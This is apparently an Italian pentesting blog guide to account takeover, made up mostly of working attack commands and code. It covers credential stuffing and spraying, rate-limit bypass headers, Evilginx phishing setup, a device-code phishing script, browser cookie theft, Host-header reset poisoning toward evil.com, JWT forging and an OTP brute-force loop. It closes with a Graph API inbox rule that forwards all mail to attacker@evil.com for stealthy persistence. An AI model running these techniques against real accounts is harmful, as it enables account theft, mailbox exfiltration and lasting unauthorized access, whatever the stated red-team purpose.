Account Takeover: Tecniche Offensive per Pentester (2026)

Impara le tecniche di Account Takeover (ATO) per pentester e red team. Scopri come bypassare MFA, rubare token e compromettere account. Guida completa 2026.
- Pubblicato il 2026-06-15
- Tempo di lettura: 8 min
Account Takeover: Guida Completa alle Tecniche Offensive per Pentester e Red Team #
L’account takeover (ATO) è la compromissione di un account utente legittimo. È il vettore di initial access dominante nel 2026 — non perché le tecniche siano nuove, ma perché la superficie si è enormemente espansa: ogni SaaS aziendale, ogni portale VPN, ogni pannello di amministrazione è un potenziale punto di ingresso. Nel 2026 il 65% degli account violati aveva MFA abilitato. Gli attaccanti non cercano più di aggirare l’autenticazione — la bypassano rubando il token dopo.
Dal punto di vista del penetration tester, ATO è un cluster di tecniche distinte che coprono reconnaissance, exploitation applicativa, ingegneria sociale, e abuso dei protocolli di autenticazione. Questa guida le tratta tutte.
Reconnaissance Pre-ATO #
Prima di qualsiasi tentativo di compromissione, la fase di intelligence raccoglie superficie d’attacco, account esposti e credenziali leaked.
Enumerazione Account #
Capire se un account esiste prima di attaccarlo riduce il rumore e ottimizza gli attacchi.
# Verifica se un'email esiste su Microsoft 365 (tenant enumeration)
# Metodo: oauth2 endpoint risponde diversamente per account validi vs non validi
curl -s "https://login.microsoftonline.com/common/GetCredentialType" \
-X POST -H "Content-Type: application/json" \
-d '{"Username":"target@company.com"}' | python3 -m json.tool
# "IfExistsResult":1 → account esiste
# "IfExistsResult":0 → account non esiste
# o365spray — enumerazione massiva su M365
o365spray --enum -U userlist.txt --domain company.com
# Microsoft Entra (ex Azure AD) user enumeration
curl "https://autologon.microsoftazuread-sso.com/TENANT_ID/winauth/sso?client-request-id=..." \
-d "UserName=user@company.com&..."# Generazione di possibili username dal nome
# es: John Smith → jsmith, john.smith, smithj, jsmith@company.com
# Tool: username-anarchy
python3 username-anarchy.py --list-formats John SmithRicerca Credenziali Leaked #
Prima di fare credential stuffing, cerca se esistono già leak specifici per il target.
# haveibeenpwned API
curl "https://haveibeenpwned.com/api/v3/breachedaccount/target@company.com" \
-H "hibp-api-key: YOUR_KEY"
# dehashed — ricerca per dominio
# (interfaccia web o API a pagamento)
# Telegram e forum underground — cerca manualmente per dominio
# "combolist company.com", "@company.com"
# Verifica esposizione su leak pubblici
grep "@company.com" leaked_database.txt | cut -d: -f1,2Credential Stuffing #
Il riuso delle password è ancora la causa principale di breach. Una singola violazione su un sito minore espone credenziali che funzionano su decine di altri servizi.
Tool e Approccio #
# ffuf — versatile per qualsiasi form
ffuf -u https://target.com/login \
-X POST \
-d "email=HFUZZ&password=WFUZZ" \
-w emails.txt:HFUZZ \
-w passwords.txt:WFUZZ \
-H "Content-Type: application/x-www-form-urlencoded" \
-mc 302 -fs BASELINE_SIZE \
-t 5 # thread bassi per evitare detection
# Hydra per protocolli multipli
hydra -L users.txt -P passwords.txt -s 443 -S target.com \
https-post-form "/login:email=^USER^&pass=^PASS^:Invalid" \
-t 4 -w 5
# Per API REST con JSON body
ffuf -u https://api.target.com/auth/login \
-X POST \
-H "Content-Type: application/json" \
-d '{"email":"HFUZZ","password":"WFUZZ"}' \
-w emails.txt:HFUZZ \
-w passwords.txt:WFUZZ \
-mc 200 -t 3Rate Limiting Bypass #
Il rate limiting è la prima difesa. I bypass classici si basano sul fatto che molte implementazioni filtrano per IP invece di per account.
# Header per bypassare blocco IP (app che si fidano ciecamente dei proxy header)
X-Forwarded-For: 1.2.3.4 ← cambia ad ogni richiesta
X-Real-IP: 5.6.7.8
X-Originating-IP: 9.10.11.12
True-Client-IP: 13.14.15.16
X-Client-IP: 17.18.19.20# Generatore di IP casuali per header rotation
import random
def random_ip():
return f"{random.randint(1,254)}.{random.randint(0,255)}.{random.randint(0,255)}.{random.randint(1,254)}"
headers = {"X-Forwarded-For": random_ip()}Varianti username per eludere blacklist per account:
admin@company.com
Admin@company.com # uppercase
admin+test@company.com # plus-addressing (ignorato da Gmail/M365)
admin@COMPANY.COM # domain uppercasePassword Spraying su Ambienti Enterprise #
Un tentativo per molti account evita il lockout. Il vettore più efficace in ambienti AD senza hardening.
# Kerbrute — via Kerberos, genera Event 4771 invece di 4625
kerbrute passwordspray -d corp.local --dc DC_IP valid_users.txt 'Summer2026!'
# NetExec — via LDAP (meno monitorato di SMB)
nxc ldap DC_IP -u users.txt -p 'Summer2026!' --continue-on-success
# Per M365 — MSOLSpray
python3 MSOLSpray.py --userlist users.txt --password 'Company2026!' --sleep 60Vedi: Password Spraying
AiTM Phishing: MFA Bypass con Proxy Trasparente #
Il vettore dominante nel 2026 per account enterprise con MFA. Il principio è semplice: invece di replicare una pagina statica, il kit si interpone come proxy trasparente tra vittima e sito legittimo. L’utente completa l’autenticazione reale — MFA incluso — ma il session cookie post-autenticazione viene catturato dal proxy.
Il session cookie vale quanto la password + il secondo fattore. Importarlo nel browser dell’attaccante bypassa completamente l’autenticazione.
Evilginx3 #
# Setup iniziale
evilginx3 -p /usr/share/evilginx/phishlets/ -c /root/.evilginx
# Configurazione nella console
config domain phishing-domain.com
config ipv4 SERVER_IP
# Abilita phishlet per M365
phishlets hostname o365 login.phishing-domain.com
phishlets enable o365
# Crea lure (link di phishing)
lures create o365
lures get-url 0
# Monitora le sessioni catturate
sessions
sessions 1 # dettagli sessione con cookiePhishlet per altri target comuni:
phishlets enable google # Google Workspace
phishlets enable linkedin # LinkedIn
phishlets enable github # GitHub
phishlets enable okta # Okta SSOCookie da importare: in M365 cerca ESTSAUTH e ESTSAUTHPERSISTENT. Questi due cookie autenticano la sessione indipendentemente dalla password e dall’MFA. Importali in un browser con EditThisCookie o Cookie-Editor e hai accesso diretto.
Tycoon 2FA e PhaaS (Phishing-as-a-Service) #
Nel 2026 kit come Tycoon 2FA, Mamba 2FA, e LabHost vendono AiTM phishing come servizio a $200-300/mese con dashboard, dominio, infrastruttura gestita. Il pentester deve conoscere queste piattaforme per poterle simulare in red team engagement.
Device Code Phishing (Active Campaign 2025-2026) #
Tecnica documentata attivamente exploited dal dicembre 2025. Sfrutta il Device Authorization Grant di OAuth 2.0 — il flusso pensato per dispositivi senza browser (smart TV, printer, IoT).
1. Attaccante fa una POST a https://login.microsoftonline.com/common/oauth2/v2.0/devicecode
con client_id dell'applicazione Microsoft Teams (o altro client legittimo)
2. Riceve un user_code (es: ABCD-EFGH) e un device_code
3. Invia alla vittima l'URL: https://microsoft.com/devicelogin con istruzioni
per inserire il user_code (sembra legittimo — è il dominio di Microsoft reale)
4. Vittima accede al dominio Microsoft, inserisce il codice, completa MFA
5. Attaccante fa polling su https://login.microsoftonline.com/common/oauth2/v2.0/token
con il device_code → riceve access_token + refresh_token validiimport requests
# Step 1: Ottieni device code
r = requests.post(
"https://login.microsoftonline.com/common/oauth2/v2.0/devicecode",
data={
"client_id": "1950a258-227b-4e31-a9cf-717495945fc2", # Microsoft Azure PowerShell
"scope": "user.read mail.read openid profile"
}
)
data = r.json()
print(f"Invia alla vittima: {data['verification_uri']} con codice {data['user_code']}")
device_code = data['device_code']
# Step 2: Polling per il token (mentre la vittima autorizza)
while True:
token_response = requests.post(
"https://login.microsoftonline.com/common/oauth2/v2.0/token",
data={
"grant_type": "urn:ietf:params:oauth:grant-type:device_code",
"client_id": "1950a258-227b-4e31-a9cf-717495945fc2",
"device_code": device_code
}
)
if "access_token" in token_response.json():
print(token_response.json()["access_token"])
break
time.sleep(5)Session Hijacking: Rubare Token Già Emessi #
Da Browser su Host Compromesso #
# SharpChrome — dump cookie da Chrome/Edge con DPAPI
SharpChrome.exe cookies
SharpChrome.exe cookies /target:edge
SharpChrome.exe cookies /domain:company.com # filtra per dominio
# LaZagne — multi-applicazione
LaZagne.exe browsers# Da Kali — copia database SQLite del browser mentre è aperto
# Chrome
cp "C:\Users\USER\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies" /tmp/chrome_cookies.db
# Edge
cp "C:\Users\USER\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies" /tmp/edge_cookies.db
# Parse con Python
import sqlite3, json
conn = sqlite3.connect("/tmp/chrome_cookies.db")
cursor = conn.cursor()
cursor.execute("SELECT host_key, name, encrypted_value FROM cookies WHERE host_key LIKE '%.company.com'")
for row in cursor.fetchall():
print(row[0], row[1]) # host, cookie name (valore è cifrato con DPAPI)Session Fixation #
Se l’applicazione non rigenera il session ID dopo il login, l’attaccante può pre-impostare un session ID noto, far autenticare la vittima, e poi usare quello stesso ID.
1. Attaccante visita /login → riceve PHPSESSID=ATTACKER_KNOWN_VALUE
2. Invia alla vittima link con PHPSESSID=ATTACKER_KNOWN_VALUE nel cookie o URL
3. Vittima si autentica con quel session ID
4. Attaccante ora ha una sessione autenticata con ATTACKER_KNOWN_VALUETest:
# Verifica se il session ID cambia dopo il login
# Prendi session ID prima del login
curl -c cookies_pre.txt https://target.com/login
# Esegui login
curl -b cookies_pre.txt -c cookies_post.txt \
-X POST https://target.com/login \
-d "user=test&pass=pass"
# Confronta session ID: se uguale → session fixation
diff <(grep SESSION cookies_pre.txt) <(grep SESSION cookies_post.txt)Password Reset Poisoning #
L’applicazione usa il valore dell’Host header per costruire l’URL di reset della password. Se questo header è manipolabile, il link punterà al server dell’attaccante.
POST /forgot-password HTTP/1.1
Host: evil.com ← modificato in Burp
Content-Type: application/x-www-form-urlencoded
username=victim@target.comL’email ricevuta dalla vittima conterrà:
Clicca qui: https://evil.com/reset?token=SECRET_TOKEN
Varianti da testare:
# X-Forwarded-Host (dietro proxy)
Host: target.com
X-Forwarded-Host: evil.com
# Host con porta custom (alcuni parser ignorano la porta)
Host: evil.com:443
# Doppio Host header
Host: target.com
Host: evil.com
# X-Host header
Host: target.com
X-Host: evil.comChain con cache poisoning: se la pagina /forgot-password è cachata, avvelenare l’host header significa che tutti gli utenti che richiedono il reset lo faranno con link verso il tuo server.
OAuth Abuse: Vettori Specifici #
redirect_uri Manipulation #
# URI non validata strictamente
https://target.com/oauth/authorize?
client_id=APP_ID&
redirect_uri=https://target.com/callback/../../../attacker.com& ← path traversal
response_type=code
# Subdomain takeover come redirect
redirect_uri=https://sub.target.com (se sub. non è controllato da target)
# Open redirect come relay
redirect_uri=https://target.com/redirect?url=https://attacker.comState Parameter Missing (CSRF su OAuth) #
Se il parametro state non è implementato o non è validato:
1. Attaccante inizia OAuth flow, ferma prima del redirect finale → ha l'URL con code
2. Invia la URL alla vittima (tramite img src, link, ecc.)
3. Il browser della vittima completa il flow con il code dell'attaccante
4. Account della vittima viene collegato all'account dell'attaccanteOAuth Token Leakage via Referer #
Se il sito redirige verso risorse esterne dopo il login e il token è nell’URL:
GET /dashboard?access_token=SECRET_TOKEN HTTP/1.1
Referer: https://external-analytics.com/track?page=dashboardIl token viene inviato nel Referer header verso il sito di analytics.
Implicit Grant Abuse #
Il flow implicit (ora deprecato ma ancora presente) restituisce il token direttamente nell’URL fragment, esposto a JavaScript malevolo sulla pagina.
JWT Manipulation #
I JWT sono token stateless ampiamente usati per autenticazione API. Vulnerabilità specifiche:
Algorithm Confusion (alg:none) #
import base64, json
# Header che dichiara nessuna firma richiesta
header = base64.urlsafe_b64encode(
json.dumps({"alg": "none", "typ": "JWT"}).encode()
).decode().rstrip("=")
# Payload modificato — ruolo elevato
payload = base64.urlsafe_b64encode(
json.dumps({"user": "alice", "role": "admin", "id": 1}).encode()
).decode().rstrip("=")
# Token senza firma
token = f"{header}.{payload}."RS256 → HS256 Confusion #
Se il server supporta sia RS256 che HS256 e usa la chiave pubblica come segreto HS256:
# Firma il token con la chiave pubblica dell'applicazione come segreto HMAC
import jwt
with open("public_key.pem", "rb") as f:
pub_key = f.read()
payload = {"user": "alice", "role": "admin"}
# Firma con RS256 → HS256 usando la chiave pubblica come secret
malicious_token = jwt.encode(payload, pub_key, algorithm="HS256")Brute Force di Chiavi Deboli #
# hashcat mode 16500 per JWT
hashcat -a 0 -m 16500 jwt_token.txt /usr/share/wordlists/rockyou.txt
# jwt_tool per analisi e manipulation completa
python3 jwt_tool.py TOKEN -T # test tutti i vettori
python3 jwt_tool.py TOKEN -X a # alg:none attack
python3 jwt_tool.py TOKEN -S hs256 -p "secret" # brute forceVedi: JWT
IDOR → ATO Chain #
La chain più comune nei web assessment. Un IDOR su endpoint di modifica email o password porta direttamente ad ATO.
# Step 1: identifica endpoint di aggiornamento account
PATCH /api/v1/users/1337/profile HTTP/1.1
Authorization: Bearer YOUR_TOKEN
{"email": "you@yours.com"}
# Step 2: modifica l'email di un altro account (IDOR)
PATCH /api/v1/users/1/profile HTTP/1.1 ← id=1 è spesso admin
Authorization: Bearer YOUR_TOKEN
{"email": "attacker@evil.com"}
# Step 3: trigger password reset per id=1
POST /api/v1/auth/forgot-password
{"email": "attacker@evil.com"} ← ora l'email dell'admin è la tua
# Step 4: ricevi token di reset → nuova password → ATO adminVedi: IDOR e Broken Access Control
MFA Bypass: Panoramica Tecnica #
OTP Brute Force (Rate Limit Assente) #
import requests, time
session_cookie = "SESSION_AFTER_PASSWORD_STEP"
for code in range(0, 1000000):
r = requests.post(
"https://target.com/verify-otp",
data={"otp": f"{code:06d}"},
cookies={"session": session_cookie},
allow_redirects=False
)
# Successo se redirect o risposta diversa
if r.status_code == 302 or "dashboard" in r.text:
print(f"OTP: {code:06d}")
break
# Gestione rate limit adattiva
if r.status_code == 429:
time.sleep(60)OTP Reuse #
Alcuni sistemi non invalidano immediatamente un OTP usato. Se catturi un OTP valido (tramite phishing o intercept), potrebbe essere riusabile per pochi secondi.
MFA Step Skip #
Verifica se è possibile saltare il passaggio MFA accedendo direttamente all’endpoint post-autenticazione:
# Dopo il primo step (username+password), normalmente sei a /verify-mfa
# Prova ad accedere direttamente a /dashboard con il cookie del primo step
curl -b "session=SESSION_AFTER_STEP1" https://target.com/dashboardBackup Code Theft #
Dai browser compromessi, cerca i codici di backup MFA salvati nel password manager o nei file.
# In credential manager Windows
cmdkey /list
# File comuni
find / -name "*.kdbx" -o -name "backup_codes*" -o -name "2fa*" 2>/dev/null
grep -r "backup" ~/.config/ 2>/dev/nullPush Notification Fatigue #
Non è automation — è social engineering. Trigger decine di push notification fino a che l’utente accetta per sbaglio o per stanchezza. Diffuso nei breach Uber (2022), Rockstar Games (2022), MGM Resorts (2023).
Post-ATO: Cosa Fare Dopo l’Accesso #
Una volta dentro un account, le azioni immediate determinano persistence e lateral movement.
Su M365 / Google Workspace #
# Con token OAuth recuperato da Evilginx
# Graph API — lista email
curl -H "Authorization: Bearer ACCESS_TOKEN" \
"https://graph.microsoft.com/v1.0/me/messages?$top=10"
# Setup inbox rule per forwarding stealth
curl -X POST -H "Authorization: Bearer ACCESS_TOKEN" \
-H "Content-Type: application/json" \
"https://graph.microsoft.com/v1.0/me/mailFolders/inbox/messageRules" \
-d '{"displayName":"ForwardAll","sequence":1,"isEnabled":true,
"actions":{"forwardTo":[{"emailAddress":{"address":"attacker@evil.com"}}]}}'
# Consenti OAuth app con accesso permanente
# (sopravvive al reset della password!)
curl -X POST -H "Authorization: Bearer ACCESS_TOKEN" \
"https://graph.microsoft.com/v1.0/oauth2PermissionGrants" \
-d '{"clientId":"...","consentType":"Principal","scope":"Mail.ReadWrite"}'Il forwarding rule e l’OAuth app consented sono i due artifacts post-ATO più importanti da cercare in un incident response — e da creare se l’obiettivo è la persistence silenziosa.
Raccogliere Più Account Dallo Stesso Breach #
Quando hai compromesso un account, cercane altri correlati:
# Accedi ai contatti della vittima → più target per phishing mirato
# Cerca email interne → credential stuffing interno
# Leggi calendari → ingegneria sociale (sapere quando qualcuno è in riunione)
# Cerca password in allegati o email — ancora sorprendentemente comune
grep -r "password\|passwd\|credentials" /tmp/emails/ 2>/dev/nullWorkflow ATO da Pentest #
1. Ricognizione: email aziendali (LinkedIn, OSINT), leak check, user enum
2. Identifica superficie: OWA/M365, VPN, portal admin, applicazioni SaaS
3. Vettori passivi: credential stuffing con combo leak, password spray (attento alla policy)
4. Vettori applicativi: IDOR su endpoint account, JWT manipulation, OAuth flow, password reset
5. Vettori attivi: AiTM phishing (con Evilginx), device code phishing
6. Post-ATO: setup persistence (inbox rule, OAuth app), raccolta credenziali ulteriori, pivot
7. Documentazione: screenshot accesso, cookie catturati, path sfruttato, impattoArticoli Correlati #
- Password Spraying
- Phishing e EvilGinx2
- Session Hijacking
- JWT
- IDOR
- Broken Access Control
- OAuth Attack
- Credential Harvesting
- Reflected XSS
MITRE ATT&CK: T1110 (Brute Force), T1539 (Steal Web Session Cookie), T1078 (Valid Accounts), T1111 (Multi-Factor Authentication Interception), T1528 (Steal Application Access Token), T1566 (Phishing)








